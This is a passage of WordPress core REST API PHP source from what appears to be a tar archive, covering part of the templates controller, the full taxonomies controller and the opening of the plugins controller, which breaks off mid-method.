				$changes->tax_input['wp_template_part_area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
			}
		}

		if ( ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$changes->post_author = $post_author;
		}

		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $changes, $request );
	}

	/**
	 * Prepare a single template output for response
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$template` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.3.0 Added `modified` property to the response.
	 *
	 * @param WP_Block_Template $item    Template instance.
	 * @param WP_REST_Request   $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return new WP_REST_Response( array() );
		}

		/*
		 * Resolve pattern blocks so they don't need to be resolved client-side
		 * in the editor, improving performance.
		 */
		$blocks        = parse_blocks( $item->content );
		$blocks        = resolve_pattern_blocks( $blocks );
		$item->content = serialize_blocks( $blocks );

		// Restores the more descriptive, specific name for use within this method.
		$template = $item;

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every template.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $template->id;
		}

		if ( rest_is_field_included( 'theme', $fields ) ) {
			$data['theme'] = $template->theme;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $template->content;
		}

		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $template->content );
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $template->slug;
		}

		if ( rest_is_field_included( 'source', $fields ) ) {
			$data['source'] = $template->source;
		}

		if ( rest_is_field_included( 'origin', $fields ) ) {
			$data['origin'] = $template->origin;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $template->type;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $template->description;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $template->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			if ( $template->wp_id ) {
				/** This filter is documented in wp-includes/post-template.php */
				$data['title']['rendered'] = apply_filters( 'the_title', $template->title, $template->wp_id );
			} else {
				$data['title']['rendered'] = $template->title;
			}
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $template->status;
		}

		if ( rest_is_field_included( 'wp_id', $fields ) ) {
			$data['wp_id'] = (int) $template->wp_id;
		}

		if ( rest_is_field_included( 'has_theme_file', $fields ) ) {
			$data['has_theme_file'] = (bool) $template->has_theme_file;
		}

		if ( rest_is_field_included( 'is_custom', $fields ) && 'wp_template' === $template->type ) {
			$data['is_custom'] = $template->is_custom;
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $template->author;
		}

		if ( rest_is_field_included( 'area', $fields ) && 'wp_template_part' === $template->type ) {
			$data['area'] = $template->area;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = mysql_to_rfc3339( $template->modified );
		}

		if ( rest_is_field_included( 'author_text', $fields ) ) {
			$data['author_text'] = self::get_wp_templates_author_text_field( $template );
		}

		if ( rest_is_field_included( 'original_source', $fields ) ) {
			$data['original_source'] = self::get_wp_templates_original_source_field( $template );
		}

		if ( rest_is_field_included( 'plugin', $fields ) ) {
			$registered_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $template->slug );
			if ( $registered_template ) {
				$data['plugin'] = $registered_template->plugin;
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template->id );
			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions();
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Returns the source from where the template originally comes from.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Original source of the template one of theme, plugin, site, or user.
	 */
	private static function get_wp_templates_original_source_field( $template_object ) {
		if ( 'wp_template' === $template_object->type || 'wp_template_part' === $template_object->type ) {
			/*
			 * Added by theme.
			 * Template originally provided by a theme, but customized by a user.
			 * Templates originally didn't have the 'origin' field so identify
			 * older customized templates by checking for no origin and a 'theme'
			 * or 'custom' source.
			 */
			if ( $template_object->has_theme_file &&
			( 'theme' === $template_object->origin || (
				empty( $template_object->origin ) && in_array(
					$template_object->source,
					array(
						'theme',
						'custom',
					),
					true
				) )
			)
			) {
				return 'theme';
			}

			// Added by plugin.
			if ( 'plugin' === $template_object->origin ) {
				return 'plugin';
			}

			/*
			 * Added by site.
			 * Template was created from scratch, but has no author. Author support
			 * was only added to templates in WordPress 5.9. Fallback to showing the
			 * site logo and title.
			 */
			if ( empty( $template_object->has_theme_file ) && 'custom' === $template_object->source && empty( $template_object->author ) ) {
				return 'site';
			}
		}

		// Added by user.
		return 'user';
	}

	/**
	 * Returns a human readable text for the author of the template.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Human readable text for the author.
	 */
	private static function get_wp_templates_author_text_field( $template_object ) {
		$original_source = self::get_wp_templates_original_source_field( $template_object );
		switch ( $original_source ) {
			case 'theme':
				$theme_name = wp_get_theme( $template_object->theme )->get( 'Name' );
				return empty( $theme_name ) ? $template_object->theme : $theme_name;
			case 'plugin':
				if ( ! function_exists( 'get_plugins' ) ) {
					require_once ABSPATH . 'wp-admin/includes/plugin.php';
				}
				if ( isset( $template_object->plugin ) ) {
					$plugins = wp_get_active_and_valid_plugins();

					foreach ( $plugins as $plugin_file ) {
						$plugin_basename = plugin_basename( $plugin_file );
						// Split basename by '/' to get the plugin slug.
						list( $plugin_slug, ) = explode( '/', $plugin_basename );

						if ( $plugin_slug === $template_object->plugin ) {
							$plugin_data = get_plugin_data( $plugin_file );

							if ( ! empty( $plugin_data['Name'] ) ) {
								return $plugin_data['Name'];
							}

							break;
						}
					}
				}

				/*
				 * Fall back to the theme name if the plugin is not defined. That's needed to keep backwards
				 * compatibility with templates that were registered before the plugin attribute was added.
				 */
				$plugins         = get_plugins();
				$plugin_basename = plugin_basename( sanitize_text_field( $template_object->theme . '.php' ) );
				if ( isset( $plugins[ $plugin_basename ] ) && isset( $plugins[ $plugin_basename ]['Name'] ) ) {
					return $plugins[ $plugin_basename ]['Name'];
				}
				return isset( $template_object->plugin ) ?
					$template_object->plugin :
					$template_object->theme;
			case 'site':
				return get_bloginfo( 'name' );
			case 'user':
				$author = get_user_by( 'id', $template_object->author );
				if ( ! $author ) {
					return __( 'Unknown author' );
				}
				return $author->get( 'display_name' );
		}

		// Fail-safe to return a string should the original source ever fall through.
		return '';
	}


	/**
	 * Prepares links for the request.
	 *
	 * @since 5.8.0
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->rest_base, $id ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$template = get_block_template( $id, $this->post_type );
			if ( $template instanceof WP_Block_Template && ! empty( $template->wp_id ) ) {
				$revisions       = wp_get_latest_revision_id_and_total_count( $template->wp_id );
				$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
				$revisions_base  = sprintf( '/%s/%s/%s/revisions', $this->namespace, $this->rest_base, $id );

				$links['version-history'] = array(
					'href'  => rest_url( $revisions_base ),
					'count' => $revisions_count,
				);

				if ( $revisions_count > 0 ) {
					$links['predecessor-version'] = array(
						'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
						'id'   => $revisions['latest_id'],
					);
				}
			}
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.8.0
	 *
	 * @return string[] List of link relations.
	 */
	protected function get_available_actions() {
		$rels = array();

		$post_type = get_post_type_object( $this->post_type );

		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		return $rels;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'` and `'post_type'`.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context'   => $this->get_context_param( array( 'default' => 'view' ) ),
			'wp_id'     => array(
				'description' => __( 'Limit to the specified post id.' ),
				'type'        => 'integer',
			),
			'area'      => array(
				'description' => __( 'Limit to the specified template part area.' ),
				'type'        => 'string',
			),
			'post_type' => array(
				'description' => __( 'Post type to get the templates for.' ),
				'type'        => 'string',
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'`.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'              => array(
					'description' => __( 'ID of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'            => array(
					'description' => __( 'Unique slug identifying the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'required'    => true,
					'minLength'   => 1,
					'pattern'     => '[a-zA-Z0-9_\%-]+',
				),
				'theme'           => array(
					'description' => __( 'Theme identifier for the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'type'            => array(
					'description' => __( 'Type of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'source'          => array(
					'description' => __( 'Source of template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'origin'          => array(
					'description' => __( 'Source of a customized template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'content'         => array(
					'description' => __( 'Content of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'           => array(
							'description' => __( 'Content for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
						),
						'block_version' => array(
							'description' => __( 'Version of the content block format used by the template.' ),
							'type'        => 'integer',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'title'           => array(
					'description' => __( 'Title of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the template, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'description'     => array(
					'description' => __( 'Description of template.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'status'          => array(
					'description' => __( 'Status of template.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'default'     => 'publish',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'wp_id'           => array(
					'description' => __( 'Post ID.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'has_theme_file'  => array(
					'description' => __( 'Theme file exists.' ),
					'type'        => 'bool',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'author'          => array(
					'description' => __( 'The ID for the author of the template.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'        => array(
					'description' => __( "The date the template was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'author_text'     => array(
					'type'        => 'string',
					'description' => __( 'Human readable text for the author.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'original_source' => array(
					'description' => __( 'Where the template originally comes from e.g. \'theme\'' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'theme',
						'plugin',
						'site',
						'user',
					),
				),
			),
		);

		if ( 'wp_template' === $this->post_type ) {
			$schema['properties']['is_custom'] = array(
				'description' => __( 'Whether a template is a custom template.' ),
				'type'        => 'bool',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			);
			$schema['properties']['plugin']    = array(
				'type'        => 'string',
				'description' => __( 'Plugin that registered the template.' ),
				'readonly'    => true,
				'context'     => array( 'view', 'edit', 'embed' ),
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			$schema['properties']['area'] = array(
				'description' => __( 'Where the template part is intended for use (header, footer, etc.)' ),
				'type'        => 'string',
				'context'     => array( 'embed', 'view', 'edit' ),
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-taxonomies-controller.php000066600000033277152442706000016351 0ustar00<?php
/**
 * REST API: WP_REST_Taxonomies_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage taxonomies via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Taxonomies_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'taxonomies';
	}

	/**
	 * Registers the routes for taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<taxonomy>[\w-]+)',
			array(
				'args'   => array(
					'taxonomy' => array(
						'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			if ( ! empty( $request['type'] ) ) {
				$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
			} else {
				$taxonomies = get_taxonomies( '', 'objects' );
			}

			foreach ( $taxonomies as $taxonomy ) {
				if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all public taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) {
			$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
		} else {
			$taxonomies = get_taxonomies( '', 'objects' );
		}

		$data = array();

		foreach ( $taxonomies as $tax_type => $value ) {
			if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) {
				continue;
			}

			$tax               = $this->prepare_item_for_response( $value, $request );
			$tax               = $this->prepare_response_for_collection( $tax );
			$data[ $tax_type ] = $tax;
		}

		if ( empty( $data ) ) {
			// Response should still be returned as a JSON object when it is empty.
			$data = (object) $data;
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {

		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( $tax_obj ) {
			if ( empty( $tax_obj->show_in_rest ) ) {
				return false;
			}

			if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a specific taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( empty( $tax_obj ) ) {
			return new WP_Error(
				'rest_taxonomy_invalid',
				__( 'Invalid taxonomy.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $tax_obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a taxonomy object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Taxonomy     $item    Taxonomy data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php */
			return apply_filters( 'rest_prepare_taxonomy', new WP_REST_Response( array() ), $taxonomy, $request );
		}

		$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $taxonomy->label;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $taxonomy->name;
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = $taxonomy->cap;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $taxonomy->description;
		}

		if ( in_array( 'labels', $fields, true ) ) {
			$data['labels'] = $taxonomy->labels;
		}

		if ( in_array( 'types', $fields, true ) ) {
			$data['types'] = array_values( $taxonomy->object_type );
		}

		if ( in_array( 'show_cloud', $fields, true ) ) {
			$data['show_cloud'] = $taxonomy->show_tagcloud;
		}

		if ( in_array( 'hierarchical', $fields, true ) ) {
			$data['hierarchical'] = $taxonomy->hierarchical;
		}

		if ( in_array( 'rest_base', $fields, true ) ) {
			$data['rest_base'] = $base;
		}

		if ( in_array( 'rest_namespace', $fields, true ) ) {
			$data['rest_namespace'] = $taxonomy->rest_namespace;
		}

		if ( in_array( 'visibility', $fields, true ) ) {
			$data['visibility'] = array(
				'public'             => (bool) $taxonomy->public,
				'publicly_queryable' => (bool) $taxonomy->publicly_queryable,
				'show_admin_column'  => (bool) $taxonomy->show_admin_column,
				'show_in_nav_menus'  => (bool) $taxonomy->show_in_nav_menus,
				'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit,
				'show_ui'            => (bool) $taxonomy->show_ui,
			);
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $taxonomy ) );
		}

		/**
		 * Filters a taxonomy returned from the REST API.
		 *
		 * Allows modification of the taxonomy data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Taxonomy      $item     The original taxonomy object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy.
	 * @return array Links for the given taxonomy.
	 */
	protected function prepare_links( $taxonomy ) {
		return array(
			'collection'              => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $taxonomy->name ) ),
			),
		);
	}

	/**
	 * Retrieves the taxonomy's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 * @since 5.0.0 The `visibility` property was added.
	 * @since 5.9.0 The `rest_namespace` property was added.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'taxonomy',
			'type'       => 'object',
			'properties' => array(
				'capabilities'   => array(
					'description' => __( 'All capabilities used by the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'description'    => array(
					'description' => __( 'A human-readable description of the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'hierarchical'   => array(
					'description' => __( 'Whether or not the taxonomy should have children.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'labels'         => array(
					'description' => __( 'Human-readable labels for the taxonomy for various contexts.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The title for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'slug'           => array(
					'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'show_cloud'     => array(
					'description' => __( 'Whether or not the term cloud should be displayed.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'types'          => array(
					'description' => __( 'Types associated with the taxonomy.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'rest_base'      => array(
					'description' => __( 'REST base route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rest_namespace' => array(
					'description' => __( 'REST namespace route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'visibility'     => array(
					'description' => __( 'The visibility settings for the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'public'             => array(
							'description' => __( 'Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.' ),
							'type'        => 'boolean',
						),
						'publicly_queryable' => array(
							'description' => __( 'Whether the taxonomy is publicly queryable.' ),
							'type'        => 'boolean',
						),
						'show_ui'            => array(
							'description' => __( 'Whether to generate a default UI for managing this taxonomy.' ),
							'type'        => 'boolean',
						),
						'show_admin_column'  => array(
							'description' => __( 'Whether to allow automatic creation of taxonomy columns on associated post-types table.' ),
							'type'        => 'boolean',
						),
						'show_in_nav_menus'  => array(
							'description' => __( 'Whether to make the taxonomy available for selection in navigation menus.' ),
							'type'        => 'boolean',
						),
						'show_in_quick_edit' => array(
							'description' => __( 'Whether to show the taxonomy in the quick/bulk edit panel.' ),
							'type'        => 'boolean',
						),

					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$new_params            = array();
		$new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
		$new_params['type']    = array(
			'description' => __( 'Limit results to taxonomies associated with a specific post type.' ),
			'type'        => 'string',
		);
		return $new_params;
	}
}
endpoints/class-wp-rest-plugins-controller.php000066600000067561152442706000015647 0ustar00<?php
/**
 * REST API: WP_REST_Plugins_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Core class to access plugins via the REST API.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Plugins_Controller extends WP_REST_Controller {

	const PATTERN = '[^.\/]+(?:\/[^.\/]+)?';

	/**
	 * Plugins controller constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'plugins';
	}

	/**
	 * Registers the routes for the plugins controller.
	 *
	 * @since 5.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => array(
						'slug'   => array(
							'type'        => 'string',
							'required'    => true,
							'description' => __( 'WordPress.org plugin directory slug.' ),
							'pattern'     => '[\w\-]+',
						),
						'status' => array(
							'description' => __( 'The plugin activation status.' ),
							'type'        => 'string',
							'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
							'default'     => 'inactive',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<plugin>' . self::PATTERN . ')',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'args'   => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					'plugin'  => array(
						'type'              => 'string',
						'pattern'           => self::PATTERN,
						'validate_callback' => array( $this, 'validate_plugin_param' ),
						'sanitize_callback' => array( $this, 'sanitize_plugin_param' ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugins = array();

		foreach ( get_plugins() as $file => $data ) {
			if ( is_wp_error( $this->check_read_permission( $file ) ) ) {
				continue;
